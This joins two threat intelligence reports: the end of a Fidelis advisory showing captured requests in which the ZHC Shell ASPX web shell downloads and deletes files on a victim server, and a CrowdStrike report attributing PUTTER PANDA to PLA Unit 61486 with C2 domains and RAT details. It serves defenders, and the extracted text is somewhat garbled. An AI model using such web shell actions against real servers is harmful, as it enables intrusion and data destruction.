quotTEST_FILE.TXTquot.
Hacked by STTEAM/textarea/td /tr tr td/td td input typesubmit namea valueSumbit ida classbutton / /td /tr /table div .input typehidden name__EVENTVALIDATION id__EVENTVALIDATION value/wEWBAKVzdKBCwKwgsKBDALW4bf/BAK/76ruDA40iO6cLOK3TeAbqxG5L91EeqiK / /div/form /p script languagejavascript function closewindow() self.close() /script bp aligncenter valignbottom classfooterZHC Shell 1.0nbspbullnbsp2011br/ By XXx_Death_xXX Of a hrefhttp://www.zone-hack.com target_blank titleWelcome to ZHC SHEll ZCompany Hacking Crew/anbspbullnbspzone-hack.com ZHC/p/b /body ---------------------------------------- TRUNCATED BY ANALYST -------------------------------------------------- The following window was displayed during this operation: - File Downloaded from Victim system into the attackers system Filename: TEST_FILE.txt Copyright  2014 General Dynamics Fidelis Cybersecurity Solutions Rev1.1 2014-02-23 Threat Advisory 1012 Page 53 of 57 OPERATION STTEAM www.fidelissecurity.com www.threatgeek.com FidSecSys 1800.652.4020 GET /ZHC_Shell_1.0.aspx?actiondownsrcc3a5cinetpub5cwwwroot5cTEST_FILE.TXT HTTP/1.1 Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xamlxml, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, / Referer: http://192.168.1.1/ZHC_Shell_1.0.aspx?actiongotosrcc3a5cinetpub5cwwwroot5c Accept-Language: en-us Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible MSIE 6.0 Windows NT 5.1 SV1 .NET CLR 2.0.50727 .NET CLR 3.0.04506.648 .NET CLR 3.5.21022 .NET4.0C) Host: 192.168.1.1 Connection: Keep-Alive Cookie: ASP.NET_SessionIdfqcod255iety0a55x3acuaqe ---- RESPONSE ---- HTTP/1.1 200 OK Server: Microsoft-IIS/5.1 Date: Mon, 24 Feb 2014 21:23:24 GMT X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Content-Disposition: attachment filenameTEST_FILE.TXT Content-Length: 45 Cache-Control: private Content-Type: application/octet-stream charsetUTF-8 DATA IN TEST_FILE.TXT.
Hacked by STTEAM The following window was displayed during this operation: - Del option selected to delete a file Filename: TEST_FILE.txt GET /ZHC_Shell_1.0.aspx?actiondelsrcc3a5cinetpub5cwwwroot5cTEST_FILE.TXT HTTP/1.1 Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xamlxml, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, / Referer: http://192.168.1.1/ZHC_Shell_1.0.aspx Accept-Language: en-us Copyright  2014 General Dynamics Fidelis Cybersecurity Solutions Rev1.1 2014-02-23 Threat Advisory 1012 Page 54 of 57 OPERATION STTEAM www.fidelissecurity.com www.threatgeek.com FidSecSys 1800.652.4020 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible MSIE 6.0 Windows NT 5.1 SV1 .NET CLR 2.0.50727 .NET CLR 3.0.04506.648 .NET CLR 3.5.21022 .NET4.0C) Host: 192.168.1.1 Connection: Keep-Alive Cookie: ASP.NET_SessionIdfqcod255iety0a55x3acuaqe ---- RESPONSE ---- HTTP/1.1 200 OK Server: Microsoft-IIS/5.1 Date: Mon, 24 Feb 2014 21:29:11 GMT X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html charsetutf-8 Content-Length: 1920 DOCTYPE HTML PUBLIC -//W3C//DTD HTML 4.01 Transitional//EN http://www.w3.org/TR/html4/loose.dtd html p aligncenterimg alt title srchttp://img851.imageshack.us/img851/2304/bismillahus.jpg /br / /p ---------------------------------------- TRUNCATED BY ANALYST -------------------------------------------------- head meta http-equivContent-Type contenttext/html titleAspx Shell By XXx_Death_xXX  ZHC/title /head body scriptalert(Delete c:\\inetpub\\wwwroot\\TEST_FILE.TXT Success)location.href/ZHC_Shell_1.0.aspx?actiongotosrcc3a5cinetpub5cwwwroot 5c/script /p script languagejavascript function closewindow() self.close() /script bp aligncenter valignbottom classfooterZHC Shell 1.0nbspbullnbsp2011br/ By XXx_Death_xXX Of a hrefhttp://www.zone-hack.com target_blank titleWelcome to ZHC SHEll ZCompany Hacking Crew/anbspbullnbspzone-hack.com ZHC/p/b /body /html ---- REQUEST ---- GET /ZHC_Shell_1.0.aspx?actiongotosrcc3a5cinetpub5cwwwroot5c HTTP/1.1 Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xamlxml, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, / Accept-Language: en-us Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible MSIE 6.0 Windows NT 5.1 SV1 .NET CLR 2.0.50727 .NET CLR 3.0.04506.648 .NET CLR 3.5.21022 .NET4.0C) Copyright  2014 General Dynamics Fidelis Cybersecurity Solutions Rev1.1 2014-02-23 Threat Advisory 1012 Page 55 of 57 OPERATION STTEAM www.fidelissecurity.com www.threatgeek.com FidSecSys 1800.652.4020 Host: 192.168.1.1 Connection: Keep-Alive Cookie: ASP.NET_SessionIdfqcod255iety0a55x3acuaqe The following window was displayed during this operation: Reminder for network defenders The K-Shell / ZHC Shell 1.0 / Aspx Shell backdoor links two images.
If the script was at some point running in the network, the following GET request will most likely be present in forensic logs: GET /img851/2304/bismillahus.jpg HTTP/1.1 Accept: / Referer: http://192.168.1.1/ZHC_Shell_1.0.aspx Accept-Language: en-us Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible MSIE 6.0 Windows NT 5.1 SV1 .NET CLR 2.0.50727 .NET CLR 3.0.04506.648 .NET CLR 3.5.21022 .NET4.0C) Host: img851.imageshack.us Connection: Keep-Alive ----------------------------------------------------------------------------------------------------------------------------------- GET /hphotos-ak-snc6/262108_109964339097628_100002521874736_97359_1521760_n.jpg HTTP/1.1 Accept: / Referer: http://192.168.1.1/ZHC_Shell_1.0.aspx Accept-Language: en-us Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible MSIE 6.0 Windows NT 5.1 SV1 .NET CLR 2.0.50727 .NET CLR 3.0.04506.648 .NET CLR 3.5.21022 .NET4.0C) Host: a6.sphotos.ak.fbcdn.net Copyright  2014 General Dynamics Fidelis Cybersecurity Solutions Rev1.1 2014-02-23 Threat Advisory 1012 Page 56 of 57 OPERATION STTEAM www.fidelissecurity.com www.threatgeek.com FidSecSys 1800.652.4020 Connection: Keep-Alive The Fidelis Take It is clear from this paper that there continues to be considerable global activity involving threat actors attacking the Oil  Gas industry, and State government in the Middle East.
We are publishing these indicators so that others in the security research community can monitor for this activity and potentially correlate against other campaigns and tools that are being investigated.
Fidelis XPS, the Advanced Threat Defense solution from General Dynamics Fidelis Cybersecurity Solutions detects all of the activity documented in this paper.
The Fidelis Threat Research Team will continue to follow this specific activity and actively monitor the ever-evolving threat landscape for the latest threats to our customers security.
Copyright  2014 General Dynamics Fidelis Cybersecurity Solutions Rev1.1 2014-02-23 Threat Advisory 1012 Page 57 of 57 OPERATION STTEAM Executive Summary Threat Overview Risk Assessment Indicators and Mitigation Strategies The Fidelis Take
CrowdStrike Intelligence Report Putter Panda This report is part of the series of technical and strategic reporting available to CrowdStrike Intelligence subscribers.
It is being released publicly to expose a previously undisclosed PLA unit involved in cyberespionage against Western technology companies.
Crowdstrike Global intelliGenCe team In May 2014, the U.S. Department of Justice charged five Chinese nationals for economic espionage against U.S. corporations.
The five known state actors are officers in Unit 61398 of the Chinese Peoples Liberation Army (PLA).
In response, the Chinese government stated that the claims were absurd and based on fabricated facts.
China then went even further, stating The Chinese government, the Chinese military and their relevant personnel have never engaged or participated in cyber theft of trade secrets.
We believe that organizations, be they governments or corporations, global or domestic, must keep up the pressure and hold China accountable until lasting change is achieved.
Not only did the U.S. Government offer in its criminal indictment the foundation of evidence designed to prove Chinas culpability in electronic espionage, but also illustrated that the charges are only the tip of a very large iceberg.
Those reading the indictment should not conclude that the Peoples Republic of China (PRC) hacking campaign is limited to five soldiers in one military unit, or that they solely target the United States government and corporations.
Rather, Chinas decade-long economic espionage campaign is massive and unrelenting.
Through widespread espionage campaigns, Chinese threat actors are targeting companies and governments in every part of the globe.
At CrowdStrike, we see evidence of this activity first-hand as our services team conducts Incident Response investigations and responds to security breaches at some of the largest organizations around the world.
We have first-hand insight into the billions of dollars of intellectual property systematically leaving many of the largest corporations - often times unbeknownst to their executives and boards of directors.
The campaign that is the subject of this report further points to espionage activity outside of Unit 61398, and reveals the activities of Unit 61486.
Unit 61486 is the 12th Bureau of the PLAs 3rd General Staff Department (GSD) and is headquartered in Shanghai, China.
The CrowdStrike Intelligence team has been tracking this particular unit since 2012, under the codename PUTTER PANDA, and has documented activity dating back to 2007.
The report identifies Chen Ping, aka cpyy, and the primary location of Unit 61486.
This particular unit is believed to hack into victim companies throughout the world in order to steal corporate trade secrets, primarily relating to the satellite, aerospace and communication industries.
With revenues totaling 189.2 billion in 2013, the satellite industry is a prime target for espionage campaigns that result in the theft of high-stakes intellectual property.
While the gains from electronic theft are hard to quantify, stolen information undoubtedly results in an improved competitive edge, reduced research and development timetables, and insight into strategy and vulnerabilities of the targeted organization.
Parts of the PUTTER PANDA toolset and tradecraft have been previously documented, both by CrowdStrike, and in open source, where they are referred to as the MSUpdater group.
This report contains details on the tactics, tools, and techniques used by PUTTER PANDA, and provides indicators and signatures that can be leveraged by organizations to protect themselves against this activity.
Our Global Intelligence Team actively tracks and reports on more than 70 espionage groups, approximately half of which operate out of China and are believed to be tied to the Chinese government.
This report is part of our extensive intelligence library and was made available to our intelligence subscribers in April 2014, prior to the US Governments criminal indictment and Chinas subsequent refusal to engage in a constructive dialog.
Targeted economic espionage campaigns compromise technological advantage, diminish global competition, and ultimately have no geographic borders.
We believe the U.S. Government indictments and global acknowledgment and awareness are important steps in the right direction.
In support of these efforts, we are making this report available to the public to continue the dialog around this ever-present threat.
George Kurtz President/CEO  Co-Founder, CrowdStrike CrowdStrike Intelligence Report Crowdstrike Global intelliGenCe team 2 ExEcutivE summary ...................................................................................................................... 4 Key Findings ....................................................................................................................................... 5 attribution ...................................................................................................................................... 7 C2 IndICators .................................................................................................................................. 8 targeting ...................................................................................................................................... 10 Connections to other adversary Groups ................................................................................. 11 CPYY ............................................................................................................................................... 12 711 network security team ........................................................................................................ 16 Military Connections ................................................................................................................... 17 UnIt 61486 ......................................................................................................................................... 20 BInarY IndICators ......................................................................................................................... 24 ConClUsIons .................................................................................................................................. 25 tEcHnicaL anaLysis ..................................................................................................................... 27 3Para rat ......................................................................................................................................... 28 PnGdoWnEr ................................................................................................................................... 33 HttPClIEnt ........................................................................................................................................ 34 droPPErs - rC4 and Xor BasEd ................................................................................................. 35 mitiGation  rEmEDiation .......................................................................................................... 38 rEGIstrY artIFaCts ......................................................................................................................... 39 FIlE sYstEM artIFaCts ..................................................................................................................... 39 Host IndICators ............................................................................................................................. 39 Yara rules ................................................................................................................................... 40 nEtWorK sIGnatUrEs ..................................................................................................................... 44 snort rUlEs ................................................................................................................................. 44 ttPs .................................................................................................................................................... 46 concLusion .................................................................................................................................. 48 aPPEnDix 1: 4H rat samPLE mEtaData ....................................................................................... 50 aPPEnDix 2: 3Para rat samPLE mEtaData ................................................................................. 53 aPPEnDix 3: PnGDoWnEr samPLE mEtaData ............................................................................ 54 aPPEnDix 4: HttPcLiEnt samPLE mEtaData ................................................................................ 57 croWDstriKE FaLcon intELLiGEncE .......................................................................................... 58 croWDstriKE FaLcon .................................................................................................................. 59 about croWDstriKE ..................................................................................................................... 60 table of contents: Executive summary CrowdStrike Intelligence Report Crowdstrike Global intelliGenCe team 4 ExEcutivE summary crowdstrike has been tracking the activity of a cyber espionage group operating out of shanghai, China, with connections to the Peoples liberation army third General staff department (Gsd) 12th Bureau Military Unit Cover designator (MUCd) 61486, since 2012.
the attribution provided in this report points to Chen Ping, aka cpyy (born on May 29, 1979), as an individual responsible for the domain registration for the Command and Control (C2) of PUttEr Panda malware.
In addition to cpyy, the report identifies the primary location of Unit 61486.
PUttEr Panda is a determined adversary group, conducting intelligence-gathering operations targeting the Government, defense, research, and technology sectors in the United states, with specific targeting of the Us defense and European satellite and aerospace industries.
the Plas Gsd third department is generally acknowledged to be Chinas premier signals Intelligence (sIGInt) collection and analysis agency, and the 12th Bureau Unit 61486, headquartered in shanghai, supports Chinas space surveillance network.
domains registered by Chen Ping were used to control PUttEr Panda malware.
these domains were registered to an address corresponding to the physical location of the shanghai headquarters of 12th Bureau, specifically Unit 61486.
the report illuminates a wide set of tools in use by the actors, including several remote access tools (rats).
the rats are used by the PUttEr Panda actors to conduct intelligence-gathering operations with a significant focus on the space technology sector.
this toolset provides a wide degree of control over a victim system and can provide the opportunity to deploy additional tools at will.
they focus their exploits against popular productivity applications such as adobe reader and Microsoft office to deploy custom malware through targeted email attacks.
this report contains additional details on the tactics, tools, and techniques used by PUttEr Panda, and provides indicators and signatures that can be leveraged by organizations to protect themselves against this activity.
CrowdStrike Intelligence Report Crowdstrike Global intelliGenCe team 5 KEY FINDINGS Putter Panda is a cyber espionage actor that conducts operations from shanghai, China, likely on behalf of the Chinese Peoples liberation army (Pla) 3rd General staff department 12th Bureau Unit 61486.
this unit is supports the space based signals intelligence (sIGInt) mission.
the 12th Bureau Unit 61486, headquartered in shanghai, is widely accepted to be Chinas primary sIGInt collection and analysis agency, supporting Chinas space surveillance network.
this is a determined adversary group, conducting intelligence- gathering operations targeting the Government, defense, research, and technology sectors in the United states, with specific targeting of space, aerospace, and communications.
the group has been operating since at least 2007 and has been observed heavily targeting the Us defense and European satellite and aerospace industries.
they focus their exploits against popular productivity applications such as adobe reader and Microsoft office to deploy custom malware through targeted email attacks.
Crowdstrike identified Chen Ping, aka cpyy, a suspected member of the Pla responsible for procurement of the domains associated with operations conducted by Putter Panda.
there is infrastructure overlap with Comment Panda, and evidence of interaction between actors tied to both groups.
attribution CrowdStrike Intelligence Report Crowdstrike Global intelliGenCe team 7 attribution there are several pieces of evidence to indicate that the activity tracked by Crowdstrike as PUttEr Panda is attributable to a set of actors based in China, operating on behalf of the Chinese Peoples liberation army (Pla).
specifically, an actor known as cpyy (Chen Ping) appears to have been involved in a number of historical PUttEr Panda campaigns, during which time he was likely working in shanghai within the 12th Bureau, 3rd General staff department (Gsd).
PUttEr Panda has several connections to actors and infrastructure tied to CoMMEnt Panda, a group previously attributed to Unit 61398 of the Pla.
CrowdStrike Intelligence Report Crowdstrike Global intelliGenCe team 8 c2 inDicators although some of the domains used for command and control of the tools described later in this report appear to be legitimate sites that have been compromised in some way, many of them appear to have been originally registered by the operators.
table 1 shows the domains that appear to have been registered by these actors, and the original email address used where known.
table 1.
C2 domains and original registrant Email addresses CrowdStrike Intelligence Report Crowdstrike Global intelliGenCe team 9 c2 inDicators (Contd) the most significant finding is that an actor known as cpyy appears to have registered a significant number of C2 domains.
this actor is discussed in the next section.
Many of the domains have had their registrant information changed, likely in an attempt to obfuscate the identity of the operators.
For instance, several domains originally registered by cpyy had their email address updated to van.dehaimgmail.com around the end of 2009 for siseau.com the change occurred between July 2009 and november 2009, and for vssigma.com, the change occurred between august 2009 and december 2009.
Historical registrant information for anfoundation.us, rwchateau.com, and succourtion.org was not available prior to 2010, but it is likely that these domains were also originally registered to a personally attributable email account.
similarly, several domains registered to mike.johnson_mjyahoo.com have had their registrant email updated during March 2014 (see table 2).
these registrant changes may indicate an increased awareness of operational security (oPsEC) from the PUttEr Panda actors.
the recent changes to the domains shown in table 2 may indicate that the operators are preparing new campaigns that make use of this infrastructure, or they are attempting to disassociate all these although no attributable information was found on the email addresses associated with the domains described above (aside from cpyy and httpchen  see below), several other domains were found to have been registered by some of these addresses.
these are shown in table 3, and may be used for command and control of PUttEr Panda tools.
domains from a single email address, perhaps due to oPsEC concerns or issues with the specific email account.
table 2.
new registrant Email addresses for domains original- ly registered to mike.johnson_mj yahoo.com CrowdStrike Intelligence Report Crowdstrike Global intelliGenCe team 10 c2 inDicators (Contd) TarGETING the subdomains associated with these domains via dns records, along with some of the domain names themselves, point to some areas of interest for the PUttEr Panda operators (see also droppers in the following technical analysis section): Space, satellite, and remote sensing technology (particularly within Europe) Aerospace, especially European aerospace companies Japanese and European telecommunications.
It is likely that PUttEr Panda will continue to attack targets of this nature in future intelligence- gathering operations.
table 3.
domains associated with registrant Emails Found in PUttEr Panda C2 domains CrowdStrike Intelligence Report Crowdstrike Global intelliGenCe team 11 c2 inDicators (Contd) CoNNECTIoNS To oThEr aDvErSarY GroupS CoMMENT paNDa Based on passive dns records, several PUttEr Panda associated domains have resolved to IP address 100.42.216.230: news.decipherment.net res.decipherment.net spacenews.botanict.com spot.decipherment.net additionally, several subdomains of ujheadph.com resolved to this IP: chs.ujheadph.com imageone.ujheadph.com img.ujheadph.com klcg.ujheadph.com naimap.ujheadph.com neo.ujheadph.com newspace.ujheadph.com pasco.ujheadph.com another subdomain of ujheadph.com has been observed2  in connection with distinctive traffic originating from the 3Para rat (described below), making it probable that this domain is also associated with PUttEr Panda.
the decipherment.net domains resolved to this IP address from 11 october 2012 to at least 25 February 2013, and the botanict.com domain resolved from 11 october 2012 to 24 March 2013.
during part of this timeframe (30 June 2012 - 30 october 2012), a domain associated with CoMMEnt Panda resolved to this same IP address: login.
aolon1ine.com.
additionally, for a brief period in april 2012, update8.firefoxupdata.com also resolved to this IP address.
the use of the same IP address during the same time suggests that there is perhaps some cooperation or shared resources between CoMMEnt Panda and PUttEr Panda.
vIXEN paNDa although not as conclusive as the links to CoMMEnt Panda, IP address 31.170.110.163 was associated with VIXEn Panda domain blog.
strancorproduct.info from november to december 2013.
In February 2014, this IP address was also associated with PUttEr Panda domain ske.hfmforum.
com.
While not directly overlapping, this potential infrastructure link is interesting, as VIXEn Panda has previously displayed ttPs similar to CoMMEnt Panda (other Crowdstrike reporting describes VIXEn Panda malware that extracts C2 commands embedded between delimiters in web content), and has extensively targeted European entities.
2See http://webcache.googleusercontent.com/search?qcache:ZZyfzC1Y0UoJ:www.urlquery.net/report.
php3Fid3D9771458cd2hlenctclnkgluk CrowdStrike Intelligence Report Crowdstrike Global intelliGenCe team 12 cPyy several email addresses have been associated with cpyy, who also appears to use the alternate handles cpiyy and cpyy.chen: cpyysina.com cpyyhotmail.com cpyy.chengmail.com cpyycpyy.net the cpyy.net domain lists Chen Ping as the registrant name, which may be cpyys real name, as this correlates with the initials cp in cpyy.
a personal blog for cpyy was found at http://cpiyy.blog.163.com/.
the profile on this blog (shown in Figure 2 below) indicates that the user is male, was born on 25 May 1979, and works for the military/police (- /).
Figure 2.
cpyy Personal Blog on 163.com CrowdStrike Intelligence Report Crowdstrike Global intelliGenCe team 13 cPyy (Contd) this blog contains two postings in the It category that indicate at least a passing interest in the topics of networking and programming.
a related Csdn profile for user cpiyy indicates that cpyy was working on or studying these topics in 2002 and 20033.
another personal blog for cpyy (http://www.tianya.cn/1569234/bbs) appears to have last been updated in 2007.
this states that the user lives in shanghai, and has a birthdate identical to that in the 163.com blog.
cpyy was also active on a social networking site called XCar, stating that he lived in shanghai as early as 2005 through 2007 he said in a post, soldiers duty is to defend the country, as long as our country is safe, our military is excellent4 , indicating a feeling of patriotism that could be consistent with someone who chose a military or police-based career.
Figure 3.
cpyy Personal Blog on tianya.cn 3See postings: http://bbs.csdn.
net/users/cpiyy/topics 4hxxp://www.xcar.com.
cn/bbs/viewthread.
php?tid7635725page6 CrowdStrike Intelligence Report Crowdstrike Global intelliGenCe team 14 cPyy (Contd) on the XCar forum, cpyy.chen used a subforum called Polo (hacker slang for Volkswagen cars) to communicate with other users linxder, peggycat, naturally do not understand romance (), a wolf (), large tile (), winter ( ), chunni (), papaya, kukuhaha, Cranbing, dusty sub (), z11829, ice star harbor (), polytechnic aberdeen (), I love pineapple pie (), and shes distant in 2007.
although superficially the discussion is about cars, there is a repeated word in the text, milk yellow package or custard package or yoke package ().
this could be a hacker slang word, but it is unclear as to the definition.
the conversation alludes to linxder being the teacher or landlord and the other aforementioned users are his students.
linxder references how he has found jobs for them.
It is possible that this is a reference to hacking jobs wrapped up in car metaphors.
linxder is the handle of an actor associated with the likely shanghai-based CoMMEnt Panda group5 .
linxder, cpyy, and xiaobai have all discussed programming and security related topics on cpyys site, cpyy.org6 , which hosted a discussion forum for the 711 network security team (see below).
cpyy also appears to have a keen interest in photography his 163.com blog includes several photographs taken by cpyy in the blog postings and albums section.
some of these photographs also appear in a Picasa site7  (examples are shown in Figures 5 and 6) belonging to a user cpyy.chen.
an album in this site named me has several shots of what is likely cpyy himself, from 2005, 2006, and 2007, shown to the right: Figure 4.
cpyy.chen, from 2005, 2006, and 2007 (left to right) CrowdStrike Intelligence Report Crowdstrike Global intelliGenCe team 15 cPyy (Contd) an account on rootkit.com, a popular low-level software security site, existed for user cpyy and was accessed in at least May 2004.
this account was registered with primary email address cpyycpyy.net and backup email address cpyyhotmail.com it listed a date of birth as 24 May 1979, consistent with cpyys other profiles.
the IP address 218.242.252.214 was associated with this account it is owned by the oriental Cable network Co., ltd.,
an IsP located in shanghai.
registration on this forum shows that cpyy had an interest in security-related programming topics, which is backed up by the postings on his personal blog and Csdn account.
Figure 6.
Example Photograph from 163.com Blog Figure 5.
sample Photograph from cpyy.chens Picasa albums CrowdStrike Intelligence Report Crowdstrike Global intelliGenCe team 16 cPyy (Contd) 711 NETworK SECurITY TEaM one of the sites registered to cpyy was used to host a web-based email service, along with a forum on www.
cpyy.net.
Both of these services were apparently run by the 711 network security team (711), a group that is now likely defunct, but has previously published security-based articles that have been re-posted on popular Chinese hacking sites such as xfocus.net8.
one of these articles, entitled IMd-based packet filtering firewall to achieve the principles9, is apparently authored by xiaobai, with email address xiaobaiopenfind.com.cn it was published on the GratEFUl () security digest list10 that is hosted by shanghai Jiao tong University (sJtU).
this digest list/bulletin board was also frequented by ClassicWind, an actor possibly linked to the shanghai-based, Pla-sponsored adversary group CoMMEnt Panda, as described in.
this tipper also indicates that the Chinese Communist Party (CCP) and the Peoples liberation army (Pla) aggressively target sJtU and its school of Information security Engineering (sIsE) as a source of research and student recruitment to conduct network offense and defense campaigns, so it is possible that the 711 network security team members came to the attention of the Chinese state via this institution.
an additional connection to sJtU comes from a C2 domain, checalla.com, used with the 4H rat in 2008.
this domain was registered to httpchengmail.
com at the time, and this address was also used to make a posting on the GratEFUl BBs (shown in Figure 7).
the posting indicates that httpchen is located at the   (Minhang) campus of sJtU and was posting using IP address 58.196.156.15, which is associated with the China Education and research network (CErnEt), a nationwide network managed by the Chinese Ministry of Education.
It also states that httpchen is studying at the school of Information security Engineering within sJtU.
8For example, hxxp://www.xfocus.net/articles/200307/568.html 9This article also lists http://cpyy.vicp.net/ as the original source site, although no archived content could be recovered for this.
10See http://bbs.sjtu.edu.cn/bbsanc,path,/groups/GROUP_3/Security/D44039356/D69C6D2AC/D4C11F438/D6DB67E4E/DA69FF663/ M.1052844461.A.html Figure 7.
httpchen Posting on sJtU GratEFUl BBs CrowdStrike Intelligence Report Crowdstrike Global intelliGenCe team 17 cPyy (Contd) MIlITarY CoNNECTIoNS several pieces of evidence indicate that cpyy probably has connections to, or is part of, the Chinese military specifically the Pla army.
In addition to his declaration on his personal blog that he works for the military/ police, and contacts with actors such as linxder that have been previously associated with hacking units within the Pla, cpyys Picasa site contains several photographs that hint at military connections.
First, a monochrome picture from the  (college) album posted in February 2007 shows several uniformed individuals: It is not clear whether this picture includes cpyy, or just friends/ associates/relatives.
a picture from the (high school) album posted in February 2007 shows a male likely cpyy based on the clothing shown in the second picture, which matches the pictures of cpyy shown above  performing exercise in front of a group of likely soldiers and an officer: CrowdStrike Intelligence Report Crowdstrike Global intelliGenCe team 18 although somewhat unclear, pictures from the album 2002 (2002 birthday), also posted in February 2007, show the celebrant (likely cpyy) in khaki clothes that are possibly military wear.
the most compelling pictures, however, are found in the and  albums (dormitory and office).
a shot of probably cpyys dormitory room shows in the background two military hats that appear to be type 07 Pla army officer peak hats: CrowdStrike Intelligence Report Crowdstrike Global intelliGenCe team 19 this album also contains a shot of the exterior of a building with several large satellite dishes outside: this same building and the satellite dishes also appear in the office album.
the reflection effects observed on the windows of this building could be due to coatings applied to resist eavesdropping via laser microphones and to increase privacy, which would be consistent with a military installation conducting sensitive work.
CrowdStrike Intelligence Report Crowdstrike Global intelliGenCe team 20 above is an image from the same album of what appears to be a larger dish, in front of the oriental Pearl tower, a significant landmark in shanghai: unit 61486 as mentioned above, checalla.com was used for command and control with the PUttEr Panda 4H rat in 2008.
this domain was registered to httpchengmail.com, and in May 2009 the domain registration details were updated to include a registrant address of shanghai yuexiulu 46 45 202.
a search for this location reveals an area of shanghai shown in Figure 812 .
Figure 9 shows an enlargement of satellite imagery from within this area, depicting a facility containing several satellite dishes within green areas, sports courts and a large office building.
12Source: https://www.google.com/maps/place/31C2B01718.022N121C2B02718.722E/31.2882939,121.4554673,658m/ data3m11e34m23m11s0x0:0x0 CrowdStrike Intelligence Report Crowdstrike Global intelliGenCe team 21 Figure 8.
Map and satellite Views of area of Interest in shanghai Figure 9.
Enlarged section within area of Interest CrowdStrike Intelligence Report Crowdstrike Global intelliGenCe team 22 satellite imagery from 2009 showing another aspect of this office building, along with a likely vantage point and direction of camera, alongside probably cpyys photograph from the same angle, is shown in Figure 10: Based on the shanghai location, and common features, it is highly likely that the location shown above is the same as that photographed by cpyy and shown in the office and dormitory albums.
Further confirmation can be found from photos uploaded by a user on Panoramio13  who tags the image as being located in Chabei14 , shanghai, China (31 17 18.86 n  121 27 9.83 E).
this image is exceptionally similar to building shown in cpyys office album (see Figure 11 below).
13http://www.panoramio.com/user/3305909 14Alternately Romanized as Zhabei Figure 10.
satellite Imagery of Facility alongside Handheld Image from cpyy CrowdStrike Intelligence Report Crowdstrike Global intelliGenCe team 23 according to a public report15 on the Chinese Plas General staff department (Gsd), the 12th Bureau of the 3rd Gsd is headquartered in the Zhabei district of shanghai and appears to have a functional mission involving satellites, likely inclusive of intercept of satellite communications and possibly space-based sIGInt collection.
the same report also lists a Military Unit Cover designator (MUCd) of 61486 for this bureau.
a webpage16 published on a Chinese government site detailing theatrical performances involving members of the Pla lists an address of 46 (46 Yue Xiu road, Zhabei district) for 61486 (61486 Forces General staff).
a search for this location shows an identical area to that shown in Figure 8.
It can therefore be concluded with high confidence that the location shown in cpyys imagery, along with the satellite images above, is the headquarters of the 12th Bureau, 3rd Gsd, Chinese Pla  also known as Unit 61486.
this units suspected involvement in space surveillance17  and intercept of satellite communications fits with their observed targeting preferences for Western companies producing technologies in the space and imaging/remote sensing sectors.
the size and number of dishes present in the area is also consistent with these activities.
15http://project2049.net/documents/pla_third_department_sigint_cyber_stokes_lin_hsiao.pdf 16http://www.dfxj.gov.cn/xjapp/wtzyps/wtlzy/wyyjysl/zhc/zyc/bd01d910153ffb4d0115a7c12f70042e.html 17http://project2049.net/documents/china_electronic_intelligence_elint_satellite_developments_easton_stokes.pdf Figure 11.
Panoramio (left) and cpyy Images Compared CrowdStrike Intelligence Report Crowdstrike Global intelliGenCe team 24 BINarY INDICaTorS observed build times for the PUttEr Panda tools described in this report range from 2007 to late 2013, indicating that the actors have conducted several campaigns against their objectives over a period of several years.
a build time analysis of all known samples is shown in Figure 1 below, relative to China time.
although this shows that there is some bias in the build time distribution to daylight or working hours in China, which is more significant if a possible three-shift system of hours is considered (0900-1200, 1400-1700, and 2000-2300), this evidence is not conclusive.
there is also some evidence that build times are manipulated by the adversary for example, the sample with Md5 hash bc4e9dad71b844dd3233cfbbb96c1bd3 has a build time of 18 July 2013, but was supposedly first submitted to Virustotal on 9 January 2013.
this shows that the attackers  at least in 2013  were aware of some operational security considerations and were likely taking deliberate steps to hide their origins.
Figure 1.
Build time analysis of PUttEr Panda Malware, relative to China time (UtC8) CrowdStrike Intelligence Report Crowdstrike Global intelliGenCe team 25 concLusions there is strong evidence to tie cpyy, an actor who appears to have been involved in historical PUttEr Panda operations, to the Pla army and a location in shanghai that is operated by the 12th Bureau, 3rd Gsd of the Pla (Unit 61486).
another actor tied to this activity, httpchen, has declared publically that he was attending the school of Information security Engineering at sJtU.
this university has previously been posited as a recruiting ground for the Pla to find personnel for its cyber intelligence gathering units, and there is circumstantial evidence linked cpyy to other actors based at sJtU.
Given the evidence outlined above, Crowdstrike attributes the PUttEr Panda group to Pla Unit 61486 within shanghai, China with high confidence.
It is likely that this organization is staffed in part by current or former students of sJtU, and shares some resources and direction with Pla Unit 61398 (CoMMEnt Panda).
technical analysis CrowdStrike Intelligence Report Crowdstrike Global intelliGenCe team 27 screenshot of truecaller Database shared by DEaDEyE JacKaL on their twitter account (names redacted) tEcHnicaL anaLysis several rats are used by PUttEr Panda.
the most common of these, the 4H rat and the 3Para rat, have been documented previously by Crowdstrike in previous Crowdstrike Intelligence reporting.
this analysis will be revisited below, along with an examination of two other PUttEr Panda tools: pngdowner and httpclient.
two droppers have been associated with the PUttEr Panda toolset these are also briefly examined below.
4H rat  EXaMPlE Md5 HasH a76419a2FCa12427C887895E12a3442B this rat was first analyzed by Crowdstrike in april 2012, but a historical analysis shows that it has been in use since at least 2007 by the PUttEr Panda actors.
a listing of metadata for known samples, including C2 information, is shown in appendix 1.
the operation of this rat is described in detail in other Crowdstrike reporting, but is useful to revisit here to highlight the characteristics of the rat: C2 occurs over HTTP, after connectivity has been verified by making a distinctive request (to the URI / search?qu at www.google.com).
A victim identifier is generated from the infected machines hard disk serial number, XORed with the key ldd46yo , and finally nibble-wise encoded as upper-case asCII characters in the range (a-P)  e.g., the byte value 0x1F becomes BP.
